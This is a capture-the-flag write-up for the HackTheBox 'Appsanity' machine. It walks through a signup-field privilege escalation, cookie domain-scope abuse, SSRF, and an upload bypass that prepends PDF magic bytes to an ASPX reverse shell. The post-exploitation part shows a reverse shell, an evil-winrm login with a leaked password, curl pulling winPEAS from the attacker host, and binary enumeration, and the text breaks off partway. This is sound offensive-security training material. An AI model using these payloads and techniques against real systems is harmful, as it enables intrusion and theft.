Passive recon of subdomain enumeration returned nothing for HTTP, but there's subdomain for HTTPs
Our token
Writeup-2.png
Become Doctor
When we sign up we have hidden field attached to form called Acctype which by default is 1, changing to 0 doesn't create account and 2 is Doctor.
Writeup-3.png
Now we are a Doctor
Writeup-4.png
When we try to add ourselves (patient account) in request we are ID of 7, changing ID doesn't show anything in response.
Writeup-5.png
Portal
Let's visit the subdomain
Writeup-6.png
The login urls are somewhat same and in the requests we don't have cookies from main domain to this domain. If we go back to main domain, change the access_token domain scope to .meddigi.htb (note the dot) we will get this cookie on all subdomains.
Writeup-7.png
Go back to the portal, refresh and voila! We are logged in as Doctor.
During upload we can add magic bytes to detect this file as PDF
Writeup-9.png
And we get Examination report sent to the management.
Run passive recon to find where it gets uploaded
; Nothing interesting
SSRF
Meanwhile in Prescriptions we have SSRF
Writeup-10.png
Port 80 has response after ages... but all others have delay of 2 seconds.
We can filter by time
Writeup-11.png
SSRF to RCE
Looks like we can view reports, but our is long gone. Im actually going to change the payload to straight up reverse shell because interactive session doesn't look that bright.
└─$ curl -LOs 'https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/refs/heads/master/shell.aspx'
└─$ nano shell.aspx # Change IP:PORT
└─$ sed -i '1s/^/%PDF-\n/' shell.aspx
└─$ file shell.aspx
shell.aspx: PDF document, version \012.%
└─$ listen
Ncat: Connection from 10.129.146.201:63867.
c:\windows\system32\inetsrv>whoami /all
User Name SID
======================= ==============================================
appsanity\svc_exampanel S-1-5-21-4111732528-4035850170-1619654654-1007
Group Name Type SID Attributes
====================================== ================ ============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
IIS APPPOOL\ExamPanel Well-known group S-1-5-82-2916625395-3930688606-393764215-2099654449-2832396995 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Privilege Name Description State
============================= ==================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Users\svc_exampanel> tree /f /a
Folder PATH listing
Volume serial number is F854-971D
C:.
+---Desktop
| user.txt
|
+---Documents
+---Downloads
+---Favorites
+---Links
+---Logs
| examinationpanel_log.txt
|
+---Music
+---Pictures
+---Saved Games
\---Videos
PS C:\inetpub\ExaminationPanel\ExaminationPanel\bin> net user
User accounts for \\APPSANITY
-------------------------------------------------------------------------------
Administrator DefaultAccount devdoc
Guest svc_exampanel svc_meddigi
svc_meddigiportal WDAGUtilityAccount
└─$ evil-winrm -i meddigi.htb -u devdoc -p '1g0tTh3R3m3dy!!'
*Evil-WinRM* PS C:\Users\devdoc\Documents> whoami /all
User Name SID
================ ==============================================
appsanity\devdoc S-1-5-21-4111732528-4035850170-1619654654-1002
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Privilege Name Description State
============================= ==================================== =======
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\devdoc\Music> curl 10.10.14.113/wp.exe -out wp.exe
*Evil-WinRM* PS C:\Users\devdoc\Music> .\wp.exe | tee -filepath wp.log
--------- Autorun Applications
È Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there) https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
Error getting autoruns from WMIC: System.Management.ManagementException: Access denied
at System.Management.ThreadDispatch.Start()
at System.Management.ManagementScope.Initialize()
at System.Management.ManagementObjectSearcher.Initialize()
at System.Management.ManagementObjectSearcher.Get()
at winPEAS.Info.ApplicationInfo.AutoRuns.GetAutoRunsWMIC()
RegPath: HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Key: SecurityHealth
Folder: C:\Windows\system32
File: C:\Windows\system32\SecurityHealthSystray.exe
=================================================================================================
RegPath: HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Key: VMware User Process
Folder: C:\Program Files\VMware\VMware Tools
File: C:\Program Files\VMware\VMware Tools\vmtoolsd.exe -n vmusr (Unquoted and Space detected) - C:\
=================================================================================================
RegPath: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
RegPerms: devdoc [FullControl]
Key: MicrosoftEdgeAutoLaunch_52C6AD3EEF59818F619BA8CCF0498CC4
Folder: C:\Program Files (x86)\Microsoft\Edge\Application
File: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --no-startup-window --win-session-start /prefetch:5 (Unquoted and Space detected) - C:\
=================================================================================================
RegPath: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
RegPerms: devdoc [FullControl]
Key: OneDrive
Folder: C:\Users\devdoc\AppData\Local\Microsoft\OneDrive
FolderPerms: devdoc [AllAccess]
File: C:\Users\devdoc\AppData\Local\Microsoft\OneDrive\OneDrive.exe /background
FilePerms: devdoc [AllAccess]
=================================================================================================
Folder: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
File: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini
Potentially sensitive file content: LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787
=================================================================================================
Folder: C:\Users\devdoc\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
FolderPerms: devdoc [AllAccess]
File: C:\Users\devdoc\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini (Unquoted and Space detected) - C:\Users\devdoc\AppData\Roaming\Microsoft\Windows,C:\Users\devdoc\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini
FilePerms: devdoc [AllAccess]
Potentially sensitive file content: LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787
=================================================================================================
--------- Enumerating Office 365 endpoints synced by OneDrive.
SID: S-1-5-21-4111732528-4035850170-1619654654-1002
Name: Business1
UserFolder C:\Users\devdoc\OneDrive
Name: Personal
UserFolder C:\Users\devdoc\OneDrive
--------- Current TCP Listening Ports
È Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 80 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 100 0.0.0.0 0 Listening 3912 ReportManagement
TCP 0.0.0.0 135 0.0.0.0 0 Listening 916 svchost
TCP 0.0.0.0 443 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 445 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 5040 0.0.0.0 0 Listening 5168 svchost
TCP 0.0.0.0 5985 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 8080 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 47001 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 49664 0.0.0.0 0 Listening 684 lsass
TCP 0.0.0.0 49665 0.0.0.0 0 Listening 544 wininit
TCP 0.0.0.0 49666 0.0.0.0 0 Listening 1096 svchost
TCP 0.0.0.0 49667 0.0.0.0 0 Listening 1692 svchost
TCP 0.0.0.0 49668 0.0.0.0 0 Listening 668 services
TCP 10.129.146.201 139 0.0.0.0 0 Listening 4 System
TCP 10.129.146.201 5985 10.10.14.113 52528 Established 4 System
*Evil-WinRM* PS C:\Program Files\ReportManagement> ls
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/23/2023 11:33 AM Libraries
-a---- 5/5/2023 5:21 AM 34152 cryptbase.dll
-a---- 5/5/2023 5:21 AM 83744 cryptsp.dll
-a---- 3/11/2021 9:22 AM 564112 msvcp140.dll
-a---- 9/17/2023 3:54 AM 140512 profapi.dll
-a---- 10/20/2023 2:56 PM 102912 ReportManagement.exe
-a---- 10/20/2023 1:47 PM 11492864 ReportManagementHelper.exe
-a---- 3/11/2021 9:22 AM 96144 vcruntime140.dll
-a---- 3/11/2021 9:22 AM 36752 vcruntime140_1.dll
-a---- 5/5/2023 5:21 AM 179248 wldp.dll
└─$ ghidra_auto -c ReportManagement.exe
[*] File Ouput:
PE32+ executable (GUI) x86-64
for MS Windows
6 sections
...
└─$ strings ReportManagement.exe -n 10
C:\inetpub\ExaminationPanel\ExaminationPanel\Reports
C:\Users\Administrator\Backup
reportmanagement_log.txt
Failed to receive data from client.
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.
Backup operation completed successfully.
An error occurred during the backup operation.
Invalid command. Missing parameter after 'upload'. Type 'help' for available commands.
C:\Program Files\ReportManagement\Libraries
externalupload
Failed to upload to external source.
Attempting to upload to external source.
Invalid command. Type 'help' for available commands.
An error occurred while processing the upload command.
(Hash mismatch)
Altered file found:
(Hash file not found)
Validation completed.
Validation completed. All reports are intact.
An error occurred during the validation operation.
Validation failed
Invalid command. Missing filename after 'recover'. Type 'help' for available commands.
File successfully recovered from backup.
The file appears to be tampered with and cannot be recovered.
Specified file not found in the backup directory.
Failed to initialize Winsock.
Failed to create socket.
Failed to bind socket.
Failed to accept incoming connection.
Reports Management administrative console. Type "help" to view available commands.
invalid string position
vector too long
unknown error
create_directory
was not found.
Source directory
Error: Directory not found.
Access denied when trying to create directory
Failed to create hash file for
Filesystem error occurred during backup.
Error Details:
Error occurred during backup.
...